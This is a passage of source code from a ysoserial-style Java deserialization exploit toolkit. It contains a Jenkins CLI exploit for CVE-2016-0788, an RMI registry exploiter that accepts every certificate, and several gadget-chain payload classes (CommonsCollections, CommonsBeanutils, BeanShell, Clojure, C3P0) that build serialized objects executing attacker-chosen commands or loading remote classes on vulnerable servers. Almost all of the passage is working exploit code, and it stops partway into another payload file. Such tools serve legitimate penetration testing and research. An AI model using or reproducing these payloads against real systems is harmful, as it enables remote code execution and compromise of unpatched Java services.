12 | import ysoserial.payloads.ObjectPayload.Utils; 13 | 14 | 15 | /** 16 | * CVE-2016-0788 exploit (2) 17 | * 18 | * - Sets up a local {@link JRMPListener} 19 | * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol 20 | * that will cause the remote to open a JRMP connection to our listener 21 | * - upon connection the specified payload will be delivered to the remote 22 | * (that will deserialize using a default ObjectInputStream) 23 | * 24 | * @author mbechler 25 | * 26 | */ 27 | public class JenkinsReverse { 28 | 29 | public static final void main ( final String[] args ) { 30 | if ( args.length < 4 ) { 31 | System.err.println(JenkinsListener.class.getName() + " "); 32 | System.exit(-1); 33 | } 34 | 35 | 36 | final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); 37 | String myAddr = args[ 1 ]; 38 | int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; 39 | String jenkinsUrl = args[ 0 ]; 40 | 41 | Thread t = null; 42 | Channel c = null; 43 | try { 44 | InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); 45 | c = JenkinsCLI.openChannel(isa); 46 | JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); 47 | t = new Thread(listener, "ReverseDGC"); 48 | t.setDaemon(true); 49 | t.start(); 50 | Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); 51 | c.call(JenkinsCLI.getPropertyCallable(payload)); 52 | listener.waitFor(1000); 53 | listener.close(); 54 | } 55 | catch ( Throwable e ) { 56 | e.printStackTrace(); 57 | } 58 | finally { 59 | if ( c != null ) { 60 | try { 61 | c.close(); 62 | } 63 | catch ( IOException e ) { 64 | e.printStackTrace(System.err); 65 | } 66 | } 67 | 68 | if ( t != null ) { 69 | t.interrupt(); 70 | try { 71 | t.join(); 72 | } 73 | catch ( InterruptedException e ) { 74 | e.printStackTrace(System.err); 75 | } 76 | } 77 | } 78 | Utils.releasePayload(args[2], payloadObject); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/exploit/RMIRegistryExploit.java: -------------------------------------------------------------------------------- 1 | package ysoserial.exploit; 2 | 3 | import java.io.IOException; 4 | import java.net.Socket; 5 | import java.rmi.ConnectIOException; 6 | import java.rmi.Remote; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | import java.rmi.server.RMIClientSocketFactory; 10 | import java.security.cert.X509Certificate; 11 | import java.util.concurrent.Callable; 12 | import javax.net.ssl.*; 13 | 14 | import ysoserial.payloads.CommonsCollections1; 15 | import ysoserial.payloads.ObjectPayload; 16 | import ysoserial.payloads.ObjectPayload.Utils; 17 | import ysoserial.payloads.util.Gadgets; 18 | import ysoserial.secmgr.ExecCheckingSecurityManager; 19 | 20 | /* 21 | * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. 22 | * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. 23 | * 24 | * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote 25 | * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . 26 | */ 27 | @SuppressWarnings({"rawtypes", "unchecked"}) 28 | public class RMIRegistryExploit { 29 | private static class TrustAllSSL implements X509TrustManager { 30 | private static final X509Certificate[] ANY_CA = {}; 31 | public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } 32 | public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } 33 | public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } 34 | } 35 | 36 | private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { 37 | public Socket createSocket(String host, int port) throws IOException { 38 | try { 39 | SSLContext ctx = SSLContext.getInstance("TLS"); 40 | ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null); 41 | SSLSocketFactory factory = ctx.getSocketFactory(); 42 | return factory.createSocket(host, port); 43 | } catch(Exception e) { 44 | throw new IOException(e); 45 | } 46 | } 47 | } 48 | 49 | public static void main(final String[] args) throws Exception { 50 | final String host = args[0]; 51 | final int port = Integer.parseInt(args[1]); 52 | final String command = args[3]; 53 | Registry registry = LocateRegistry.getRegistry(host, port); 54 | final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; 55 | final Class payloadClass = (Class) Class.forName(className); 56 | 57 | // test RMI registry connection and upgrade to SSL connection on fail 58 | try { 59 | registry.list(); 60 | } catch(ConnectIOException ex) { 61 | registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory()); 62 | } 63 | 64 | // ensure payload doesn't detonate during construction or deserialization 65 | exploit(registry, payloadClass, command); 66 | } 67 | 68 | public static void exploit(final Registry registry, 69 | final Class payloadClass, 70 | final String command) throws Exception { 71 | new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception { 72 | ObjectPayload payloadObj = payloadClass.newInstance(); 73 | Object payload = payloadObj.getObject(command); 74 | String name = "pwned" + System.nanoTime(); 75 | Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); 76 | try { 77 | registry.bind(name, remote); 78 | } catch (Throwable e) { 79 | e.printStackTrace(); 80 | } 81 | Utils.releasePayload(payloadObj, payload); 82 | return null; 83 | }}); 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/BeanShell1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import bsh.Interpreter; 4 | import bsh.XThis; 5 | 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Proxy; 8 | import java.util.Arrays; 9 | import java.util.Comparator; 10 | import java.util.PriorityQueue; 11 | 12 | import ysoserial.Strings; 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.util.Reflections; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.PayloadRunner; 17 | 18 | /** 19 | * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) 20 | */ 21 | 22 | @SuppressWarnings({ "rawtypes", "unchecked" }) 23 | @Dependencies({ "org.beanshell:bsh:2.0b5" }) 24 | @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) 25 | public class BeanShell1 extends PayloadRunner implements ObjectPayload { 26 | 27 | public PriorityQueue getObject(String command) throws Exception { 28 | // BeanShell payload 29 | 30 | String payload = 31 | "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + 32 | Strings.join( // does not support spaces in quotes 33 | Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), 34 | ",", "\"", "\"") + 35 | "}).start();return new Integer(1);}"; 36 | 37 | // Create Interpreter 38 | Interpreter i = new Interpreter(); 39 | 40 | // Evaluate payload 41 | i.eval(payload); 42 | 43 | // Create InvocationHandler 44 | XThis xt = new XThis(i.getNameSpace(), i); 45 | InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); 46 | 47 | // Create Comparator Proxy 48 | Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); 49 | 50 | // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) 51 | final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); 52 | Object[] queue = new Object[] {1,1}; 53 | Reflections.setFieldValue(priorityQueue, "queue", queue); 54 | Reflections.setFieldValue(priorityQueue, "size", 2); 55 | 56 | return priorityQueue; 57 | } 58 | 59 | public static void main(final String[] args) throws Exception { 60 | PayloadRunner.run(BeanShell1.class, args); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/C3P0.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.io.PrintWriter; 5 | import java.sql.SQLException; 6 | import java.sql.SQLFeatureNotSupportedException; 7 | import java.util.logging.Logger; 8 | 9 | import javax.naming.NamingException; 10 | import javax.naming.Reference; 11 | import javax.naming.Referenceable; 12 | import javax.sql.ConnectionPoolDataSource; 13 | import javax.sql.PooledConnection; 14 | 15 | import com.mchange.v2.c3p0.PoolBackedDataSource; 16 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; 17 | 18 | import ysoserial.payloads.annotation.Authors; 19 | import ysoserial.payloads.annotation.Dependencies; 20 | import ysoserial.payloads.annotation.PayloadTest; 21 | import ysoserial.payloads.util.PayloadRunner; 22 | import ysoserial.payloads.util.Reflections; 23 | 24 | 25 | /** 26 | * 27 | * 28 | * com.sun.jndi.rmi.registry.RegistryContext->lookup 29 | * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject 30 | * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject 31 | * 32 | * Arguments: 33 | * - base_url:classname 34 | * 35 | * Yields: 36 | * - Instantiation of remotely loaded class 37 | * 38 | * @author mbechler 39 | * 40 | */ 41 | @PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) 42 | @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) 43 | @Authors({ Authors.MBECHLER }) 44 | public class C3P0 implements ObjectPayload { 45 | public Object getObject ( String command ) throws Exception { 46 | int sep = command.lastIndexOf(':'); 47 | if ( sep < 0 ) { 48 | throw new IllegalArgumentException("Command format is: :"); 49 | } 50 | 51 | String url = command.substring(0, sep); 52 | String className = command.substring(sep + 1); 53 | 54 | PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); 55 | Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); 56 | return b; 57 | } 58 | 59 | 60 | 61 | 62 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 63 | 64 | private String className; 65 | private String url; 66 | 67 | public PoolSource ( String className, String url ) { 68 | this.className = className; 69 | this.url = url; 70 | } 71 | 72 | public Reference getReference () throws NamingException { 73 | return new Reference("exploit", this.className, this.url); 74 | } 75 | 76 | public PrintWriter getLogWriter () throws SQLException {return null;} 77 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 78 | public void setLoginTimeout ( int seconds ) throws SQLException {} 79 | public int getLoginTimeout () throws SQLException {return 0;} 80 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 81 | public PooledConnection getPooledConnection () throws SQLException {return null;} 82 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 83 | 84 | } 85 | 86 | 87 | public static void main ( final String[] args ) throws Exception { 88 | PayloadRunner.run(C3P0.class, args); 89 | } 90 | 91 | } 92 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Clojure.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; 4 | import clojure.lang.PersistentArrayMap; 5 | import ysoserial.Strings; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.PayloadRunner; 9 | 10 | import java.util.Arrays; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | /* 15 | Gadget chain: 16 | ObjectInputStream.readObject() 17 | HashMap.readObject() 18 | AbstractTableModel$ff19274a.hashCode() 19 | clojure.core$comp$fn__4727.invoke() 20 | clojure.core$constantly$fn__4614.invoke() 21 | clojure.main$eval_opt.invoke() 22 | 23 | Requires: 24 | org.clojure:clojure 25 | Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions 26 | */ 27 | @Dependencies({"org.clojure:clojure:1.8.0"}) 28 | @Authors({ Authors.JACKOFMOSTTRADES }) 29 | public class Clojure extends PayloadRunner implements ObjectPayload> { 30 | 31 | public Map getObject(final String command) throws Exception { 32 | 33 | // final String[] execArgs = command.split(" "); 34 | // final StringBuilder commandArgs = new StringBuilder(); 35 | // for (String arg : execArgs) { 36 | // commandArgs.append("\" \""); 37 | // commandArgs.append(arg); 38 | // } 39 | // commandArgs.append("\""); 40 | 41 | 42 | // final String clojurePayload = 43 | // String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2)); 44 | 45 | String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\""); 46 | 47 | final String clojurePayload = 48 | String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd); 49 | 50 | 51 | 52 | Map fnMap = new HashMap(); 53 | fnMap.put("hashCode", new clojure.core$constantly().invoke(0)); 54 | 55 | AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); 56 | model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); 57 | 58 | HashMap targetMap = new HashMap(); 59 | targetMap.put(model, null); 60 | 61 | fnMap.put("hashCode", 62 | new clojure.core$comp().invoke( 63 | new clojure.main$eval_opt(), 64 | new clojure.core$constantly().invoke(clojurePayload))); 65 | model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); 66 | 67 | return targetMap; 68 | } 69 | 70 | public static void main(final String[] args) throws Exception { 71 | PayloadRunner.run(Clojure.class, args); 72 | } 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsBeanutils1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.math.BigInteger; 4 | import java.util.PriorityQueue; 5 | 6 | import org.apache.commons.beanutils.BeanComparator; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | @SuppressWarnings({ "rawtypes", "unchecked" }) 15 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) 16 | @Authors({ Authors.FROHOFF }) 17 | public class CommonsBeanutils1 implements ObjectPayload { 18 | 19 | public Object getObject(final String command) throws Exception { 20 | 21 | final Object templates = Gadgets.createTemplatesImpl(command); 22 | // mock method name until armed 23 | final BeanComparator comparator = new BeanComparator("lowestSetBit"); 24 | 25 | // create queue with numbers and basic comparator 26 | final PriorityQueue queue = new PriorityQueue(2, comparator); 27 | // stub data for replacement later 28 | queue.add(new BigInteger("1")); 29 | queue.add(new BigInteger("1")); 30 | 31 | // switch method called by comparator 32 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 33 | 34 | // switch contents of queue 35 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 36 | queueArray[0] = templates; 37 | queueArray[1] = templates; 38 | 39 | return queue; 40 | } 41 | 42 | public static void main(final String[] args) throws Exception { 43 | PayloadRunner.run(CommonsBeanutils1.class, args); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsBeanutils183NOCC.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import com.bloom.util.JavassistClassLoader; 4 | import javassist.ClassClassPath; 5 | import javassist.ClassPool; 6 | import javassist.CtClass; 7 | import javassist.CtField; 8 | import ysoserial.payloads.annotation.Dependencies; 9 | import ysoserial.payloads.util.Gadgets; 10 | import ysoserial.payloads.util.PayloadRunner; 11 | import ysoserial.payloads.util.Reflections; 12 | 13 | import java.util.Comparator; 14 | import java.util.PriorityQueue; 15 | 16 | @SuppressWarnings({ "rawtypes", "unchecked" }) 17 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2","commons-logging:commons-logging:1.2"}) 18 | public class CommonsBeanutils183NOCC implements ObjectPayload { 19 | 20 | @Override 21 | public Object getObject(String command) throws Exception { 22 | final Object templates = Gadgets.createTemplatesImpl(command); 23 | // 修改BeanComparator类的serialVersionUID 24 | ClassPool pool = ClassPool.getDefault(); 25 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 26 | final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 27 | ctBeanComparator.defrost(); 28 | try { 29 | CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); 30 | ctBeanComparator.removeField(ctSUID); 31 | } catch (javassist.NotFoundException e) { 32 | } 33 | ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); 34 | 35 | final Comparator comparator = (Comparator) ctBeanComparator.toClass(new JavassistClassLoader()).newInstance(); 36 | Reflections.setFieldValue(comparator, "property", null); 37 | Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); 38 | 39 | final PriorityQueue queue = new PriorityQueue(2, comparator); 40 | // stub data for replacement later 41 | queue.add("1"); 42 | queue.add("1"); 43 | 44 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 45 | Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); 46 | ctBeanComparator.defrost(); 47 | return queue; 48 | } 49 | 50 | public static void main(final String[] args) throws Exception { 51 | PayloadRunner.run(CommonsBeanutils183NOCC.class, args); 52 | } 53 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsBeanutils192NOCC.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.beanutils.BeanComparator; 4 | import ysoserial.Serializer; 5 | import ysoserial.payloads.annotation.Authors; 6 | import ysoserial.payloads.annotation.Dependencies; 7 | import ysoserial.payloads.util.Gadgets; 8 | import ysoserial.payloads.util.Reflections; 9 | 10 | import java.io.File; 11 | import java.io.FileOutputStream; 12 | import java.util.PriorityQueue; 13 | 14 | @SuppressWarnings({"rawtypes", "unchecked"}) 15 | @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) 16 | @Authors({"Y4er"}) 17 | public class CommonsBeanutils192NOCC implements ObjectPayload { 18 | 19 | public static void main(final String[] args) throws Exception { 20 | // PayloadRunner.run(CommonsBeanutils1NOCC.class, args); 21 | // String encode = BASE64Encoder.class.newInstance().encode(ClassFiles.classAsBytes(SpringInterceptorTemplate.class)).replaceAll("\n", ""); 22 | // System.out.println(encode.replaceAll("\n", "")); 23 | // 24 | Object object = new CommonsBeanutils192NOCC().getObject("CMD:open -a Calculator.app"); 25 | File file = new File("/tmp/ser.ser"); 26 | if (file.exists()) file.delete(); 27 | Serializer.serialize(object, new FileOutputStream(file)); 28 | } 29 | 30 | public Object getObject(final String command) throws Exception { 31 | final Object template = Gadgets.createTemplatesImpl(command); 32 | // mock method name until armed 33 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 34 | 35 | // create queue with numbers and basic comparator 36 | final PriorityQueue queue = new PriorityQueue(2, comparator); 37 | // stub data for replacement later 38 | // queue.add(new BigInteger("1")); 39 | // queue.add(new BigInteger("1")); 40 | queue.add("1"); 41 | queue.add("1"); 42 | 43 | // switch method called by comparator 44 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 45 | 46 | // switch contents of queue 47 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 48 | queueArray[0] = template; 49 | queueArray[1] = template; 50 | 51 | return queue; 52 | } 53 | } -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import org.apache.commons.collections.Transformer; 8 | import org.apache.commons.collections.functors.ChainedTransformer; 9 | import org.apache.commons.collections.functors.ConstantTransformer; 10 | import org.apache.commons.collections.functors.InvokerTransformer; 11 | import org.apache.commons.collections.map.LazyMap; 12 | 13 | import ysoserial.payloads.annotation.Authors; 14 | import ysoserial.payloads.annotation.Dependencies; 15 | import ysoserial.payloads.annotation.PayloadTest; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.JavaVersion; 18 | import ysoserial.payloads.util.PayloadRunner; 19 | import ysoserial.payloads.util.Reflections; 20 | 21 | /* 22 | Gadget chain: 23 | ObjectInputStream.readObject() 24 | AnnotationInvocationHandler.readObject() 25 | Map(Proxy).entrySet() 26 | AnnotationInvocationHandler.invoke() 27 | LazyMap.get() 28 | ChainedTransformer.transform() 29 | ConstantTransformer.transform() 30 | InvokerTransformer.transform() 31 | Method.invoke() 32 | Class.getMethod() 33 | InvokerTransformer.transform() 34 | Method.invoke() 35 | Runtime.getRuntime() 36 | InvokerTransformer.transform() 37 | Method.invoke() 38 | Runtime.exec() 39 | 40 | Requires: 41 | commons-collections 42 | */ 43 | @SuppressWarnings({"rawtypes", "unchecked"}) 44 | @PayloadTest ( precondition = "isApplicableJavaVersion") 45 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 46 | @Authors({ Authors.FROHOFF }) 47 | public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { 48 | 49 | public InvocationHandler getObject(final String command) throws Exception { 50 | final String[] execArgs = new String[] { command }; 51 | // inert chain for setup 52 | final Transformer transformerChain = new ChainedTransformer( 53 | new Transformer[]{ new ConstantTransformer(1) }); 54 | // real chain for after setup 55 | final Transformer[] transformers = new Transformer[] { 56 | new ConstantTransformer(Runtime.class), 57 | new InvokerTransformer("getMethod", new Class[] { 58 | String.class, Class[].class }, new Object[] { 59 | "getRuntime", new Class[0] }), 60 | new InvokerTransformer("invoke", new Class[] { 61 | Object.class, Object[].class }, new Object[] { 62 | null, new Object[0] }), 63 | new InvokerTransformer("exec", 64 | new Class[] { String.class }, execArgs), 65 | new ConstantTransformer(1) }; 66 | 67 | final Map innerMap = new HashMap(); 68 | 69 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 70 | 71 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 72 | 73 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 74 | 75 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 76 | 77 | return handler; 78 | } 79 | 80 | public static void main(final String[] args) throws Exception { 81 | PayloadRunner.run(CommonsCollections1.class, args); 82 | } 83 | 84 | public static boolean isApplicableJavaVersion() { 85 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections12.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.Field; 4 | import java.util.HashMap; 5 | import java.util.HashSet; 6 | import java.util.Map; 7 | import javax.script.ScriptEngineManager; 8 | import org.apache.commons.collections.Transformer; 9 | import org.apache.commons.collections.functors.ChainedTransformer; 10 | import org.apache.commons.collections.functors.ConstantTransformer; 11 | import org.apache.commons.collections.functors.InvokerTransformer; 12 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 13 | import org.apache.commons.collections.map.LazyMap; 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.PayloadRunner; 17 | import ysoserial.payloads.util.Reflections; 18 | 19 | @Dependencies({"commons-collections:commons-collections:3.1"}) 20 | @Authors({"Y4er"}) 21 | public class CommonsCollections12 extends PayloadRunner implements ObjectPayload { 22 | public CommonsCollections12() { 23 | } 24 | 25 | public static void main(String[] args) throws Exception { 26 | PayloadRunner.run(CommonsCollections12.class, args); 27 | } 28 | 29 | public Object getObject(String command) throws Exception { 30 | Transformer[] transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + command + "');"})}; 31 | Transformer transformerChain = new ChainedTransformer(transformers); 32 | Map innerMap = new HashMap(); 33 | Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 34 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 35 | HashSet map = new HashSet(1); 36 | map.add("foo"); 37 | Field f = null; 38 | 39 | try { 40 | f = HashSet.class.getDeclaredField("map"); 41 | } catch (NoSuchFieldException var17) { 42 | f = HashSet.class.getDeclaredField("backingMap"); 43 | } 44 | 45 | Reflections.setAccessible(f); 46 | HashMap innimpl = (HashMap)f.get(map); 47 | Field f2 = null; 48 | 49 | try { 50 | f2 = HashMap.class.getDeclaredField("table"); 51 | } catch (NoSuchFieldException var16) { 52 | f2 = HashMap.class.getDeclaredField("elementData"); 53 | } 54 | 55 | Reflections.setAccessible(f2); 56 | Object[] array = (Object[])((Object[])f2.get(innimpl)); 57 | Object node = array[0]; 58 | if (node == null) { 59 | node = array[1]; 60 | } 61 | 62 | Field keyField = null; 63 | 64 | try { 65 | keyField = node.getClass().getDeclaredField("key"); 66 | } catch (Exception var15) { 67 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 68 | } 69 | 70 | Reflections.setAccessible(keyField); 71 | keyField.set(node, entry); 72 | return map; 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import org.apache.commons.collections4.comparators.TransformingComparator; 7 | import org.apache.commons.collections4.functors.InvokerTransformer; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | import ysoserial.payloads.util.Reflections; 14 | 15 | 16 | /* 17 | Gadget chain: 18 | ObjectInputStream.readObject() 19 | PriorityQueue.readObject() 20 | ... 21 | TransformingComparator.compare() 22 | InvokerTransformer.transform() 23 | Method.invoke() 24 | Runtime.exec() 25 | */ 26 | 27 | @SuppressWarnings({ "rawtypes", "unchecked" }) 28 | @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) 29 | @Authors({ Authors.FROHOFF }) 30 | public class CommonsCollections2 implements ObjectPayload> { 31 | 32 | public Queue getObject(final String command) throws Exception { 33 | final Object templates = Gadgets.createTemplatesImpl(command); 34 | // mock method name until armed 35 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 36 | 37 | // create queue with numbers and basic comparator 38 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 39 | // stub data for replacement later 40 | queue.add(1); 41 | queue.add(1); 42 | 43 | // switch method called by comparator 44 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 45 | 46 | // switch contents of queue 47 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 48 | queueArray[0] = templates; 49 | queueArray[1] = 1; 50 | 51 | return queue; 52 | } 53 | 54 | public static void main(final String[] args) throws Exception { 55 | PayloadRunner.run(CommonsCollections2.class, args); 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections3.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import javax.xml.transform.Templates; 8 | 9 | import org.apache.commons.collections.Transformer; 10 | import org.apache.commons.collections.functors.ChainedTransformer; 11 | import org.apache.commons.collections.functors.ConstantTransformer; 12 | import org.apache.commons.collections.functors.InstantiateTransformer; 13 | import org.apache.commons.collections.map.LazyMap; 14 | 15 | import ysoserial.payloads.annotation.Authors; 16 | import ysoserial.payloads.annotation.Dependencies; 17 | import ysoserial.payloads.annotation.PayloadTest; 18 | import ysoserial.payloads.util.Gadgets; 19 | import ysoserial.payloads.util.JavaVersion; 20 | import ysoserial.payloads.util.PayloadRunner; 21 | import ysoserial.payloads.util.Reflections; 22 | 23 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 24 | 25 | /* 26 | * Variation on CommonsCollections1 that uses InstantiateTransformer instead of 27 | * InvokerTransformer. 28 | */ 29 | @SuppressWarnings({"rawtypes", "unchecked", "restriction"}) 30 | @PayloadTest ( precondition = "isApplicableJavaVersion") 31 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 32 | @Authors({ Authors.FROHOFF }) 33 | public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { 34 | 35 | public Object getObject(final String command) throws Exception { 36 | Object templatesImpl = Gadgets.createTemplatesImpl(command); 37 | 38 | // inert chain for setup 39 | final Transformer transformerChain = new ChainedTransformer( 40 | new Transformer[]{ new ConstantTransformer(1) }); 41 | // real chain for after setup 42 | final Transformer[] transformers = new Transformer[] { 43 | new ConstantTransformer(TrAXFilter.class), 44 | new InstantiateTransformer( 45 | new Class[] { Templates.class }, 46 | new Object[] { templatesImpl } )}; 47 | 48 | final Map innerMap = new HashMap(); 49 | 50 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 51 | 52 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 53 | 54 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 55 | 56 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 57 | 58 | return handler; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections3.class, args); 63 | } 64 | 65 | public static boolean isApplicableJavaVersion() { 66 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections4.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 